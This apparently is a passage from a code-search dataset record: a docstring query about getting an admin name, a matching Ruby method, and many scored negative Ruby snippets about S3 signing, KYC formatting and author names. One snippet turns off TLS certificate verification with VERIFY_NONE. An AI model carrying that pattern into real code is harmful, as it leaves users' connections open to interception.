fixed\n # list of headers we know might be here... turns out they are already sorted?\n extra_param_parts = extra_params.collect {|k, v| \"#{k}=#{uri_escape v}\" }.join(\"&\")\n canonical_query_string_parts << extra_param_parts\n end\n\n canonical_query_string = canonical_query_string_parts.join(\"&\")\n\n\n\n canonical_request = [\"GET\",\n canonical_uri,\n canonical_query_string,\n @canonical_headers,\n SIGNED_HEADERS,\n 'UNSIGNED-PAYLOAD'\n ].join(\"\\n\")\n\n string_to_sign = [\n ALGORITHM,\n amz_date,\n credential_scope,\n Digest::SHA256.hexdigest(canonical_request)\n ].join(\"\\n\")\n\n signing_key = retrieve_signing_key(datestamp)\n signature = OpenSSL::HMAC.hexdigest(\"SHA256\", signing_key, string_to_sign)\n\n return \"https://\" + self.host + canonical_uri + \"?\" + canonical_query_string + \"&X-Amz-Signature=\" + signature\n end", "def string_to_sign\n [method, url.host, url.path, url.query].join \"\\n\"\n end", "def put(path, file, options = {})\n path = format_path(path)\n bucket_path = get_bucket_path(path)\n content_md5 = Digest::MD5.file(file).base64digest\n content_type = options[:content_type] || 'image/jpg'\n date = gmtdate\n url = path_to_url(path)\n auth_sign = sign('PUT', bucket_path, content_md5, content_type, date)\n headers = {\n 'Authorization' => auth_sign,\n 'Content-Md5' => content_md5,\n 'Content-Type' => content_type,\n 'Content-Length' => file.size,\n 'Date' => date,\n 'Host' => @aliyun_upload_host,\n 'Expect' => '100-Continue'\n }\n response = RestClient.put(url, file, headers)\n response.code == 200 ? path_to_url(path) : nil\n end", "def calculate_s3_key\n if photo && photo.filename && photo.source_id && name\n \"places/#{photo.place_id}/#{photo.source_id}/#{photo.file_parts[:root]}-#{name}.#{photo.file_parts[:extension]}\"\n else\n nil\n end\n end", "def upload_file(s3client,plaintext_key,filename,bucket)\r\n begin\r\n filebody = File.new(filename)\r\n s3enc = Aws::S3::Encryption::Client.new(encryption_key: plaintext_key,\r\n client: s3client)\r\n res = s3enc.put_object(bucket: bucket,\r\n key: filename,\r\n body: filebody)\r\n rescue Aws::S3::Errors::ServiceError => e\r\n puts \"upload failed: #{e}\"\r\n end\r\nend", "def request_put(path)\n\ttimestamp = Time.now.utc.iso8601\n\tauth = create_hmac_auth(\"PUT\", path, timestamp)\n\t\n\turi = URI($baseUrl + path)\n\n\trequest = Net::HTTP::Put.new(uri)\n\trequest.add_field(\"x-hp-hmac-authentication\", auth)\n\trequest.add_field(\"x-hp-hmac-date\", timestamp)\n\n\tresponse = Net::HTTP.start(uri.host, uri.port,\n\t\t:use_ssl => uri.scheme == 'https',\n\t\t:verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|\n\t\thttp.request(request)\n\tend\n\n\treturn response\nend" ]
[ "0.80482787", "0.6796529", "0.6775898", "0.64879376", "0.6379649", "0.6312997", "0.6249215", "0.6241101", "0.6235996", "0.6191846", "0.61889625", "0.61091083", "0.6098675", "0.60962903", "0.6095206", "0.60217744", "0.6014372", "0.59909844", "0.5972853", "0.594197", "0.5930011", "0.59273034", "0.5904161", "0.58928806", "0.5888048", "0.5872656", "0.584735", "0.5837278", "0.5829755", "0.5824613", "0.5824449", "0.5811134", "0.58028054", "0.5797621", "0.57836384", "0.57767445", "0.5772544", "0.57678574", "0.57663393", "0.57613045", "0.5760601", "0.575791", "0.5747164", "0.5736205", "0.5706227", "0.57055223", "0.569743", "0.56907946", "0.56841516", "0.56803364", "0.5679572", "0.5677027", "0.5649734", "0.56495273", "0.5640724", "0.5621027", "0.5621027", "0.561953", "0.5614566", "0.5607512", "0.55953544", "0.5588735", "0.5588291", "0.5588291", "0.5588291", "0.5572955", "0.55701804", "0.55636024", "0.5557961", "0.5556276", "0.5556182", "0.5545503", "0.5534549", "0.55305254", "0.5530332", "0.5488969", "0.54881334", "0.5486549", "0.5486549", "0.54845953", "0.5481642", "0.54806846", "0.54766834", "0.5475101", "0.5469149", "0.5467408", "0.5460866", "0.5459076", "0.54578036", "0.54554766", "0.5449441", "0.5449028", "0.5437705", "0.5437625", "0.5436761", "0.54274374", "0.5421679", "0.5420988", "0.5416222", "0.54138213" ]
0.5989235
18
Format Kyc :NOTE Should receive user_kyc object Author: Tejas Date: 24/09/2018 Reviewed By:
def user_kyc_base(user_kyc_detail, admin) { id: user_kyc_detail[:id], user_kyc_detail_id: user_kyc_detail[:user_extended_detail_id], user_id: user_kyc_detail[:user_id], kyc_status: user_kyc_detail[:kyc_status], admin_status: user_kyc_detail[:admin_status], aml_status: user_kyc_detail[:aml_status], whitelist_status: user_kyc_detail[:whitelist_status], admin_action_types: user_kyc_detail[:admin_action_types_array], submission_count: user_kyc_detail[:submission_count], last_acted_by: admin_name(user_kyc_detail[:last_acted_by], admin), created_at: user_kyc_detail[:created_at] } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show(data_to_format)\n formatted_data = {\n result_type: 'user_kyc',\n user_kyc: user_kyc_base(data_to_format[:user_kyc_detail], data_to_format[:admin])\n }\n\n formatted_data\n end", "def created_by\r\n\t\t\t \t\"Lachezar Kostov and Dimitar Bakardzhiev\"\r\n\t\t end", "def user_name\n reviewee.name\n end", "def user_kyc_data\n @user_kyc_detail.present? ?\n {\n kyc_status: kyc_status,\n admin_action_types: @user_kyc_detail.admin_action_types_array,\n whitelist_status: @user_kyc_detail.whitelist_status\n }\n :\n {}\n end", "def pretty_author(user, options = {})\n content_tag :span, :class => \"author vcard\" do\n content_tag :span, :class => \"fn\" do\n user.name rescue \"Admin\"\n end\n end\n end", "def user_reviews\n list_of_reviews = self.reviews\n list_of_reviews.map{|review| \"User: #{review.user.name}, Rating: #{review.rating}, Review: #{review.description}\"}\n end", "def reviewed_by=(value)\n @reviewed_by = value\n end", "def author\n [author_developer.name_and_email, author_date, author_date_gmt_offset]\n end", "def created_by\r\n\t\t\treturn \"Laura OMalley\"\r\n\t\tend", "def get_formatter_class\n Formatter::V2::UsersKycDetail\n end", "def author\n \"#{user.firstname} #{user.lastname}\"\n end", "def email_kyc_approve(data_to_format)\n {}\n end", "def reviewed_by\n return @reviewed_by\n end", "def print_created_by\n puts 'Created by James (#1) Bronzan'\n end", "def author_hash; end", "def get_author_and_year\n return ([self.author_string] + [self.year_integer]).compact.join(', ') if self.rank.nil?\n rank = self.rank_class\n\n if rank.nomenclatural_code == :iczn\n misapplication = TaxonNameRelationship.where_subject_is_taxon_name(self).\n with_type_string('TaxonNameRelationship::Iczn::Invalidating::Usage::Misapplication')\n a = [self.author_string]\n\n if a[0] =~ /^\\(.+\\)$/ # (Author)\n a[0] = a[0][1..-2]\n p = true\n else\n p = false\n end\n\n ay = (a + [self.year_integer]).compact.join(', ')\n obj = misapplication.empty? ? nil : misapplication.first.object_taxon_name\n\n unless misapplication.empty? || obj.author_string.blank?\n ay += ' nec ' + ([obj.author_string] + [obj.year_integer]).compact.join(', ')\n end\n\n if SPECIES_RANK_NAMES_ICZN.include?(rank.to_s)\n if p\n ay = '(' + ay + ')' unless ay.empty?\n else\n og = self.original_genus\n cg = self.ancestor_at_rank('genus')\n unless og.nil? || cg.nil?\n ay = '(' + ay + ')' unless ay.empty? if og.name != cg.name\n end\n #((self.original_genus.name != self.ancestor_at_rank('genus').name) && !self.original_genus.name.to_s.empty?)\n end\n end\n\n elsif rank.nomenclatural_code == :icn\n basionym = TaxonNameRelationship.where_object_is_taxon_name(self).\n with_type_string('TaxonNameRelationship::Icn::Unaccepting::Usage::Basionym')\n misapplication = TaxonNameRelationship.where_subject_is_taxon_name(self).\n with_type_string('TaxonNameRelationship::Icn::Unaccepting::Usage::Misapplication')\n b_sub = basionym.empty? ? nil : basionym.first.subject_taxon_name\n m_obj = misapplication.empty? ? nil : misapplication.first.object_taxon_name\n\n\n t = [self.author_string]\n t += ['(' + self.year_integer.to_s + ')'] unless self.year_integer.nil?\n ay = t.compact.join(' ')\n\n unless basionym.empty? || b_sub.author_string.blank?\n ay = '(' + b_sub.author_string + ') ' + ay\n end\n unless misapplication.empty? || m_obj.author_string.blank?\n ay += ' nec ' + [m_obj.author_string]\n t += ['(' + m_obj.year_integer.to_s + ')'] unless m_obj.year_integer.nil?\n end\n else\n ay = ([self.author_string] + [self.year_integer]).compact.join(' ')\n end\n ay\n end", "def author \n user.firstname + ' ' + user.lastname\n end", "def preetify\n preety_print do |instance|\n org = instance['organization'] || { 'name' => 'N/A' }\n puts 'organization_name'.to_s.ljust(30) + org['name']\n\n %w[submitter assignee].each do |user_key|\n user = instance[user_key] || { 'name' => 'N/A' }\n puts user_key.ljust(30) + user['name']\n end\n end\n end", "def formatAPA\n (prettyOutput(@authors.map { |x| x.to_s }) + \"(\" + @datee.year.to_s + \") \" + @title +\n \"\\n\\t(\" + @edition.to_s + \") \" +\n \"(\" + @editionnumber.to_s + \") \" +\n @url)\n end", "def byline\n return \"ticket owner\" if self.show_generic?\n parens = self.support_response? ? \" (volunteer)\" : \"\"\n self.support_identity.name + parens\n end", "def trailer_filter(text)\n text.gsub(FILTER_REGEXP) do |author_match|\n label = $~[:label]\n \"#{label} #{parse_user($~[:author_name], $~[:author_email], label)}\"\n end\n end", "def normalize_author_name(auth_toks)\n return '' if auth_toks.empty?\n str = auth_toks.join(\" \")\n if str =~ /(.+),\\s*(.+)/\n str = \"#{$1} #{$2}\"\n end\n str.gsub!(/\\.\\-/, '-')\n str.gsub!(/[\\,\\.]/, ' ')\n str.gsub!(/ +/, ' ')\n str.strip!\n\n if (str =~ /^[^\\s][^\\s]+(\\s+[^\\s]|\\s+[^\\s]\\-[^\\s])+$/)\n new_toks = str.split(/\\s+/)\n new_order = new_toks[1...new_toks.length];\n new_order << new_toks[0]\n str = new_order.join(\" \")\n end\n\n str.gsub!(/^[^A-Za-z0-9]+/, '')\n str.gsub!(/[^A-Za-z0-9]+$/, '')\n return str\n end", "def author\n \"#{user.name} (#{user.login})\"\n end", "def normalize_author_name(auth_toks)\n return '' if auth_toks.empty?\n str = auth_toks.join(\" \")\n if str =~ /(.+),\\s*(.+)/\n str = \"#{$1} #{$2}\"\n end\n str.gsub!(/\\.\\-/, '-')\n str.gsub!(/[\\,\\.]/, ' ')\n str.gsub!(/ +/, ' ')\n str.strip!\n\n if (str =~ /^[^\\s][^\\s]+(\\s+[^\\s]|\\s+[^\\s]\\-[^\\s])+$/)\n new_toks = str.split(/\\s+/)\n new_order = new_toks[1...new_toks.length];\n new_order << new_toks[0]\n str = new_order.join(\" \")\n end\n return str\n end", "def to_author(author)\n\t\t\t# When an account is given\n\t\t\treturn \"@\" + author[\"login\"] if author[\"login\"]\n\n\t\t\t# Commits have a username key\n\t\t\tif author[\"username\"]\n\t\t\t\t\"@\" + author[\"username\"]\n\t\t\telsif author[\"name\"]\n\t\t\t\tauthor[\"name\"]\n\t\t\telse\n\t\t\t\t# When no known key can be used?\n\t\t\t\t# FIXME : log this?\n\t\t\t\t\"(?)\"\n\t\t\tend\n\t\tend", "def to_s\n author_name\n end", "def extract_author(obj)\n author = {}\n if obj.is_a?(String)\n if obj.present?\n given_name, family_name = obj.split(' ', 2)\n author[:given_name] = given_name if given_name.present?\n author[:family_name] = family_name if family_name.present?\n end\n else\n name = obj['name'] || obj['@id'] || ''\n given_name, family_name = name.split(' ', 2)\n family_name = obj['familyName'] if obj['familyName'].present?\n given_name = obj['givenName'] if obj['givenName'].present?\n affiliation = obj['affiliation']\n if affiliation.present?\n if affiliation.is_a?(String)\n author[:affiliation] = affiliation\n else\n affiliation = affiliation.dereference if affiliation.respond_to?(:dereference)\n author[:affiliation] = affiliation['name'] if affiliation && affiliation['name'].present?\n end\n end\n orcid = obj['identifier'] || obj['@id']\n author[:orcid] = orcid if orcid.present? && orcid.include?('orcid.org')\n author[:given_name] = given_name if given_name.present?\n author[:family_name] = family_name if family_name.present?\n end\n\n author\n end", "def author\n #Este self.object hace referencia al object que se esta serializando\n user = self.object.user\n {\n name: user.name,\n email: user.email,\n id: user.id\n }\n end", "def kyc_status\n @user_kyc_detail.kyc_status\n end", "def print_user_badges(user_data)\n puts \"-\" * 70\n puts \"Badge Name\".ljust(60) + \"Date\".ljust(10)\n puts \"-\" * 70\n\n # loop through all badges and format the date into something readable\n user_data[\"badges\"].each do |badge|\n puts badge[\"name\"].slice(0, 60).ljust(60) + badge[\"earned_date\"].slice(0, 10).split(\"-\").join(\"/\").ljust(10)\n end\n\n puts \"-\" * 70\nend", "def display_entry\n\t\tputs user.username + \" \" + date.to_s\n\t\tputs text\n\tend", "def headings\n # NOTE: \"Comments\" is shared between both sets\n if self.new_review_format\n [\"Role Competence\",\"Consulting Skills\",\"Teamwork\", \"Contributions\", \"Comments\"]\n else\n [\"Tech\",\"Client\", \"Ownership\", \"Leadership\", \"OldTeamwork\", \"Attitude\", \"Professionalism\", \"Organizational\", \"Innovative\", \"Comments\"]\n end\n end", "def curation_note_user\n values = super\n values = Deepblue::MetadataHelper.ordered( ordered_values: curation_note_user_ordered, values: values )\n return values\n end", "def record_committer(content, user_key)\n user_key = user_key.user_key if user_key.respond_to?(:user_key)\n version = latest_version_of(content)\n return if version.nil?\n version_id = content.is_a?(Hyrax::FileMetadata) ? version.id.to_s : version.uri\n Hyrax::VersionCommitter.create(version_id: version_id, committer_login: user_key)\n end", "def format_stamp( stamp )\n ( stamp.user.nil? ? 'anon' : stamp.user.login ) + \" (\" + stamp.created_at.strftime(\"%m/%d/%y - %I:%M %p\") + \")\"\n end", "def print_created_by\n return \"This game was created by Kevin Tripp.\"\n end", "def violators\n @issue.history\n .reject { |h| h[\"author\"][\"key\"].eql? @opts[\"author\"] }\n .select { |h| grid?(h) }\n .group_by { |h| h[\"author\"][\"key\"] }\n .map do |a|\n \"#{a.last.first['author']['displayName']} set #{hacked(a.last)}\"\n end\n end", "def user_name_published\n \"Written by: #{user.email}\"\n end", "def to_groff\n GroffString.groffify do |out|\n out.section \"authors\"\n @authors.each do |author|\n args = [\"\\\"#{author[:name]}\\\"\"]\n if author[:email] then args << \"Aq\" << author[:email] end\n out.An *args\n end\n end\n end", "def users_role_with_this_submission(user)\n if self.corresponding_author == user\n return 'Corresponding Author'\n elsif self.coauthors.include?(user)\n return 'Coauthor'\n elsif self.reviewers.include?(user)\n return 'Reviewer'\n elsif section_editors.include?(user)\n return 'Section Editor'\n else\n return 'This user is not associated with this manuscript'\n end \n end", "def user_review(user_id, book_id, params = {})\n data = request('/review/show_by_user_and_book.xml', params.merge(v: \"2\", user_id: user_id, book_id: book_id))\n Hashie::Mash.new(data[\"review\"])\n end", "def author\n ['@',self.user.id, self.user.name.split().join].join('-')\n end", "def author_string\n auth = nil\n if authors.size > 0 # Build based on People \n case authors.size\n when 1\n auth = authors.first.last_name # self.author\n when 2 \n auth = authors.map(&:last_name).join(\" & \")\n when 3...100\n auth = authors[0..-1].map(&:last_name).join(\", \") + \" & \" + authors.last.last_name\n end\n else # Build based on string\n auth = self.author\n end\n auth\n end", "def formal_format(user)\n user.last_name + ', ' + user.first_name + '.'\n end", "def author\n quote_of_the_day[second_to_last_index(quote_of_the_day, \"~\")..quote_of_the_day.rindex(\"~\")].gsub(/(\\A~\\s*|\\s*~\\z)/, \"\")\n end", "def fetch_user_kyc_details\n ar_relation = UserKycDetail.using_client_shard(client: @client).\n where(client_id: @client_id, status: GlobalConstant::UserKycDetail.active_status)\n ar_relation = ar_relation.filter_by(@filters)\n ar_relation = ar_relation.sorting_by(@sortings)\n\n offset = 0\n offset = @page_size * (@page_number - 1) if @page_number > 1\n @user_kycs = ar_relation.limit(@page_size).offset(offset).all\n @total_filtered_kycs = ar_relation.count\n end", "def preetify\n preety_print do |instance|\n instance['users'].each_with_index do |user, index|\n puts \"user_#{index}\".to_s.ljust(30) + user['name'].to_s\n end\n\n instance['tickets'].each_with_index do |ticket, index|\n puts \"ticket_#{index}\".to_s.ljust(30) + ticket['subject'].to_s\n end\n end\n end", "def parse_date_time\n self.each do |review|\n review['date_created'] = DateTime.parse(review['date_created'])\n end\n end", "def format_email_user_info(body, user)\n body.gsub!(/\\%name/,user.fullname)\n body.gsub!(/\\%email/,user.email)\n body.gsub!(/\\%phone/,user.phone)\n body.gsub!(/\\%program/,user.program)\n body.gsub!(/\\%school/,user.school)\n body.gsub!(/\\%status/,user.status)\n suggestion = Suggestion.where(:username => user.username).order(\"created_at\").last\n unless suggestion.nil?\n body.gsub!(/\\%suggestion/, suggestion.suggestion)\n end\n return body\n end", "def author_name\n h Settings.author_name\n end", "def author\n @info[:Author]\n end", "def author_name\n object.anonymous? ? '匿名用户' : object.author.name_or_login\n end", "def author; end", "def build_from_github_user( user )\n # name\n # email\n # blog\n # company\n # location\n # bio\n end", "def highwire_author_format(name)\n if name.include? ','\n name.split(',').reverse.join(' ').strip\n else\n name\n end\n end", "def formatted_date\n \tobject.created_at.strftime(\"%R - %B %e, %Y \")\n end", "def formatAuthName(auth)\n str = \"\"\n if auth.at(\"lname\") && auth.at(\"fname\")\n str = auth.at(\"lname\").text.strip + \", \" + auth.at(\"fname\").text.strip\n auth.at(\"mname\") and str += \" \" + auth.at(\"mname\").text.strip\n auth.at(\"suffix\") and str += \", \" + auth.at(\"suffix\").text.strip\n elsif auth.at(\"fname\")\n str = auth.at(\"fname\").text\n elsif auth.at(\"lname\")\n str = auth.at(\"lname\").text\n else\n puts \"Warning: can't figure out author #{auth}\"\n str = auth.text\n end\n return str\nend", "def email_copyright(user)\n \"<p><small>(C) #{Date.today.year}, LoveRealm Ltd, No 2. Mamleshie Road, Accra. #{ActionController::Base.helpers.link_to 'Manage your email preferences', dashboard_preferences_url(id: user.id)}.</small></p>\".html_safe\n end", "def author; @author; end", "def author; @author; end", "def chicago_citation(record)\n # more than 10, only the first seven should be listed in the bibliography, followed by et al.\n ## less than four, list all, first author: last name, first name, others first name last name\n # and before the last author ##\n authors = get_all_authors(record)\n author_text = \"\"\n unless authors[:primary_authors].blank?\n if authors[:primary_authors].length > 10\n authors[:primary_authors].each_with_index do |author, index|\n if index < 7\n if index == 0\n author_text << \"#{author}\"\n if author.ends_with?(\",\")\n author_text << \" \"\n else\n author_text << \", \"\n end\n else\n author_text << \"#{name_reverse(author)}, \"\n end\n end\n end\n author_text << \" et al.\"\n elsif authors[:primary_authors].length > 1\n authors[:primary_authors].each_with_index do |author, index|\n if index == 0\n author_text << \"#{author}\"\n if author.ends_with?(\",\")\n author_text << \" \"\n else\n author_text << \", \"\n end\n elsif index + 1 == authors[:primary_authors].length\n author_text << \"and #{name_reverse(author).gsub(/\\,.$/, '')}\"\n else\n author_text << \"#{name_reverse(author)}, \"\n end\n end\n else\n author_text << authors[:primary_authors].first.gsub(/\\,.$/, '')\n end\n else\n temp_authors = []\n authors[:translators].each do |translator|\n temp_authors << [translator, \"trans.\"]\n end\n authors[:editors].each do |editor|\n temp_authors << [editor, \"ed.\"]\n end\n authors[:compilers].each do |compiler|\n temp_authors << [compiler, \"comp.\"]\n end\n\n unless temp_authors.blank?\n if temp_authors.length > 10\n temp_authors.each_with_index do |author, index|\n if index < 7\n author_text << \"#{author.first} #{author.last} \"\n end\n end\n author_text << \" et al.\"\n elsif temp_authors.length > 1\n temp_authors.each_with_index do |author, index|\n if index == 0\n author_text << \"#{author.first} #{author.last}, \"\n elsif index + 1 == temp_authors.length\n author_text << \"and #{name_reverse(author.first)} #{author.last}\"\n else\n author_text << \"#{name_reverse(author.first)} #{author.last}, \"\n end\n end\n else\n author_text << \"#{temp_authors.first.first} #{temp_authors.first.last}\"\n end\n end\n end\n\n unless author_text.blank?\n author_text = author_text.gsub(/\\,$/, \"\")\n if author_text[-1, 1] != \".\"\n author_text += \". \"\n else\n author_text += \" \"\n end\n end\n # Get Pub Date\n pub_date = setup_pub_date(record) unless setup_pub_date(record).nil?\n\n # Get volumes\n\n # setup title info\n title = setup_title_info(record)\n\n\n if !authors[:primary_authors].blank? and (!authors[:translators].blank? or !authors[:editors].blank? or !authors[:compilers].blank?)\n additional_title << \"Translated by #{authors[:translators].collect {|name| name_reverse(name)}.join(\" and \")}. \" unless authors[:translators].blank?\n additional_title << \"Edited by #{authors[:editors].collect {|name| name_reverse(name)}.join(\" and \")}. \" unless authors[:editors].blank?\n additional_title << \"Compiled by #{authors[:compilers].collect {|name| name_reverse(name)}.join(\" and \")}. \" unless authors[:compilers].blank?\n end\n\n edition = \"\"\n edition << setup_edition(record) unless setup_edition(record).nil?\n\n pub_info = setup_pub_info(record) unless setup_pub_info(record).nil?\n\n\n citation = \"\"\n citation << \"#{author_text}\" unless author_text.blank?\n\n citation << \"<i>#{title}</i> \" unless title.blank?\n citation << \"#{edition} \" unless edition.blank?\n\n # add volumes information if not null\n volumes = volumes_info(record) unless volumes_info(record).blank?\n volumes = volumes.gsub(\"volumes\", \"vols. \") unless volumes.nil?\n citation << volumes unless volumes.blank?\n\n is_sound = is_sound_disc(record)\n sound_info = physical_description_sound(record)\n\n\n citation << \"#{pub_info}\" unless pub_info.blank? || is_sound\n citation << \"#{sound_info}\" unless sound_info.nil?\n if pub_date.blank? && (!pub_info.blank? || !sound_info.nil?)\n citation << \".\"\n elsif !pub_date.blank? && (!pub_info.blank? || !sound_info.nil?)\n citation << \", #{pub_date}.\"\n elsif !pub_date.blank? && pub_info.blank? && sound_info.nil?\n citation << \"#{pub_date}.\"\n end\n unless citation.blank?\n if citation[-1, 1] != \".\"\n citation += \".\"\n end\n end\n citation\n end", "def author\n if not user.present? or (user.first_name.blank? and user.last_name.blank?)\n \"Anonymous\"\n else\n [user.try(:first_name), user.try(:last_name)].reject(&:blank?).join(' ')\n end\n end", "def meta_author\n # Change the value below between the quotes.\n \"Team Tation\"\n end", "def all_for_user\n \n puts \"GETS HEREEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\"\n @user = User.find(params[:id])\n puts @user.to_yaml\n @user_reviews = UserReview.find(:all, :conditions => ['user_id = ?', @user.id])\n end", "def user_info\n {\n 'uid' => user_hash['feed']['author'][0]['email']['$t'],\n 'nickname' => user_hash['feed']['author'][0]['name']['$t']\n }\n end", "def format; end", "def format; end", "def format; end", "def format; end", "def format; end", "def format; end", "def format; end", "def format; end", "def user_info\n {\n 'nickname' => user_hash['Nickname'],\n 'first_name' => user_hash['FirstName'],\n 'last_name' => user_hash['LastName'],\n 'name' => [user_hash['FirstName'], user_hash['LastName']].reject{|n| n.nil? || n.empty?}.join(' '),\n }\n end", "def user_info\n {\n 'uid' => user_hash['feed']['author'][0]['email']['$t'],\n 'nickname' => user_hash['feed']['author'][0]['name']['$t'],\n }\n end", "def reviewers\n \n reviewers = self.board_design_entry_users.dup\n reviewers.delete_if { |bde_user| !bde_user.role.reviewer? || bde_user.role.manager? }\n return reviewers.sort_by { |m| m.role.display_name }\n \n end", "def reviewers\n \"Here's the current list of JOSS reviewers: https://github.com/openjournals/joss/blob/master/docs/reviewers.csv\"\nend", "def get_author_and_year\n if self.type == 'Combination'\n c = protonyms_by_rank\n return nil if c.empty?\n taxon = c[c.keys.last]\n else\n taxon = self\n end\n\n case taxon.rank_class.try(:nomenclatural_code)\n when :iczn\n ay = iczn_author_and_year(taxon)\n when :icvcn\n ay = icn_author_and_year(taxon)\n when :icnp\n ay = icn_author_and_year(taxon)\n when :icn\n ay = icn_author_and_year(taxon)\n else\n ay = ([author_string] + [cached_nomenclature_date&.year]).compact.join(' ')\n end\n (ay.presence)\n end", "def author() headers['author'] end", "def review_user\n self.user\n end", "def user_info\n\t\t\"name: #{name} \\n\"+\n\t\t\"email: #{email}\"\n\t\t\t\n\tend", "def audithelp_user_name( record )\n return to_descriptive_s( record.user ? record.user.name : nil )\n end", "def who \n version_user.to_label\n end", "def reviewed_date_time\n return @reviewed_date_time\n end", "def to_s\n user_key\n end", "def to_s\n user_key\n end", "def formatter; end", "def formatter; end", "def formatter; end", "def to_s\n\t\tself.name.present? ? \"#{self.name} ( #{self.user} )\" : \"#{self.user}\" ;\n\tend", "def kyc_approved_template\n 'kyc_approved'\n end", "def author_tag(text); end", "def author_name\n if read_attribute('comment_body') =~ COMMENT_BODY_PARSER\n $1\n elsif created_by and created_by.sfcontact\n created_by.sfcontact.name\n end\n end", "def objection_name_date\n o = objection ? 'Objection' : 'No Objection'\n o + ' from ' + librarian.short + ' on ' + created_at.strftime('%b-%-d')\n end", "def author_name\n self.author ? \"#{self.author}\" : 'Anonymous'\n end", "def assessment_type_author\n frm.div(:class=>\"tier2\").table(:index=>$frame_index)[1][1].text\n end", "def display_name\n entry = JSON.parse(self.entry)\n user = User.find(user_id)\n \"#{user.display_name} #{entry['text']}\"\n end", "def comment_reformat(comments)\n # p comments\n info = {}\n comments.each_pair do |key,value|\n # p \"#{key},#{value}\"\n if info[value['client']] == nil\n info[value['client']] = {value['date']=>[value['comment']]}\n elsif info[value['client']].keys.include?(value['date'])\n info[value['client']][value['date']].push(value['comment'])\n else\n info[value['client']][value['date']] = [value['comment']]\n end\n end\n # p info\nend", "def birthdate_for(user)\n\t\tuser.birthdate.strftime(\"%B %e, %Y\")\n\tend", "def getAuthorName\n\t\treturn User.find(self.user_id).username\n\tend" ]
[ "0.58958304", "0.5592062", "0.55872744", "0.5559909", "0.5452581", "0.5403339", "0.53868335", "0.5314825", "0.5278651", "0.52504885", "0.52265406", "0.51686174", "0.51640415", "0.5137657", "0.51242703", "0.5112319", "0.5100945", "0.5097432", "0.5058605", "0.50490874", "0.5033127", "0.5028466", "0.5020945", "0.5000616", "0.49818954", "0.4969958", "0.4967036", "0.49660847", "0.4962594", "0.49625894", "0.49579448", "0.49518463", "0.49252608", "0.4919394", "0.49082857", "0.4889984", "0.48829848", "0.4874035", "0.48627335", "0.48569664", "0.48488787", "0.48356265", "0.48228326", "0.48146263", "0.48139054", "0.47959536", "0.47855872", "0.4784415", "0.4779323", "0.4774056", "0.47736526", "0.47592226", "0.4757308", "0.47555006", "0.47553793", "0.47477266", "0.47425783", "0.47365454", "0.47312358", "0.47312358", "0.47240335", "0.47206187", "0.47200638", "0.4718942", "0.47186595", "0.4717235", "0.4717235", "0.4717235", "0.4717235", "0.4717235", "0.4717235", "0.4717235", "0.4717235", "0.47077549", "0.46988145", "0.46978468", "0.4695404", "0.46943372", "0.46934327", "0.46907443", "0.46777153", "0.46652076", "0.46645623", "0.46644193", "0.46626574", "0.46626574", "0.46624222", "0.46624222", "0.46624222", "0.46605197", "0.46552628", "0.4651321", "0.4650173", "0.46486184", "0.46481904", "0.46454766", "0.46420005", "0.46398622", "0.46362057", "0.46345595" ]
0.4930564
32
Get Admin Name Author: Tejas Date: 24/09/2018 Reviewed By:
def admin_name(last_acted_by, admin) last_acted_by = last_acted_by.to_i if (last_acted_by > 0) admin[:name] elsif (last_acted_by == Admin::AUTO_APPROVE_ADMIN_ID) GlobalConstant::Admin.auto_approved_admin_name else '' end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def getAuthorName\n\t\treturn User.find(self.user_id).username\n\tend", "def attribution\n user = roles.creator.first&.user\n user = roles.administrator.not_creator.first&.user if user.blank?\n return [] if user.blank?\n\n text = user&.name(false)\n orcid = user.identifier_for_scheme(scheme: 'orcid')\n if orcid.present?\n text += format(' - <strong>ORCID:</strong> <a href=\"%{orcid_url}\" target=\"_blank\">%{orcid}</a>',\n orcid_url: orcid.value, orcid: orcid.value_without_scheme_prefix)\n end\n text\n end", "def mods_display_name\n fetch(:author_struct, [])\n end", "def author_name\n if author\n author.full_name\n else\n 'No Author Found'\n end\n end", "def author_name\n h Settings.author_name\n end", "def author\n return User.find(self.user_id).user_name\n end", "def author\n [author_developer.name_and_email, author_date, author_date_gmt_offset]\n end", "def display_name\n [nomenclator_name, author_year].compact.join(\" \")\n end", "def author_names\n names = []\n users.each do |user|\n names << user.fullname\n end\n names\n end", "def author\n @info[:Author]\n end", "def name\n author_hash[\"name\"]\n end", "def name\n author_hash[\"name\"]\n end", "def author \n user.firstname + ' ' + user.lastname\n end", "def author_name\n \"#{author.first_name} #{author.last_name}\"\n end", "def admin_name\n self.user.name\n end", "def author\n if not user.present? or (user.first_name.blank? and user.last_name.blank?)\n \"Anonymous\"\n else\n [user.try(:first_name), user.try(:last_name)].reject(&:blank?).join(' ')\n end\n end", "def author_name\n \"#{author.last_name}, #{author.first_name}\"\n end", "def user_name\n reviewee.name\n end", "def author_name\n author.full_name if author\n end", "def author_name\n user_data.name || login\n end", "def author\n ['@',self.user.id, self.user.name.split().join].join('-')\n end", "def author\n \"#{user.firstname} #{user.lastname}\"\n end", "def author\n \"#{user.name} (#{user.login})\"\n end", "def author_full_name\n self.author.full_name\n end", "def author_info\n self.authors.map(&:full_name).join(', ')\n end", "def show\n @user_author = User.find_by_id(@materiallink.user_id)\n @user_author_name = @user_author.username\n end", "def created_by\r\n\t\t\t \t\"Lachezar Kostov and Dimitar Bakardzhiev\"\r\n\t\t end", "def author_name\n object.anonymous? ? '匿名用户' : object.author.name_or_login\n end", "def to_s\n author_name\n end", "def author\n name.split(/[\\/-]/).first\n end", "def get_author_name(author)\n author_object = Author.find_by_var(\"authors\", \"id\", author) \n # => one Author Obj\n @author_name = author_object.name\n \n end", "def get_author_name(options = {})\n if(self.author_id && (!options || !options[:force_cataloguer]) && (u = User.find(self.author_id)))\n n = u.name\n n += \" (\" + u.email + \")\" if(!options || !options[:omit_email])\n return n\n end\n if (self.user_id)\n u = User.find(self.user_id)\n n = u.name\n n += \" (\" + u.email + \")\" if(!options || !options[:omit_email])\n return n\n end\n \"\"\n end", "def author_name\n if self.author\n self.author.name\n else\n nil\n end\n end", "def get_author()\n @author\n end", "def author_name_and_email\n if author\n \"#{author.name} (#{author.email})\"\n elsif !email.blank?\n \"Unlogged user (#{email})\"\n else\n \"Anonymous user\"\n end\n end", "def author_name\n if read_attribute('comment_body') =~ 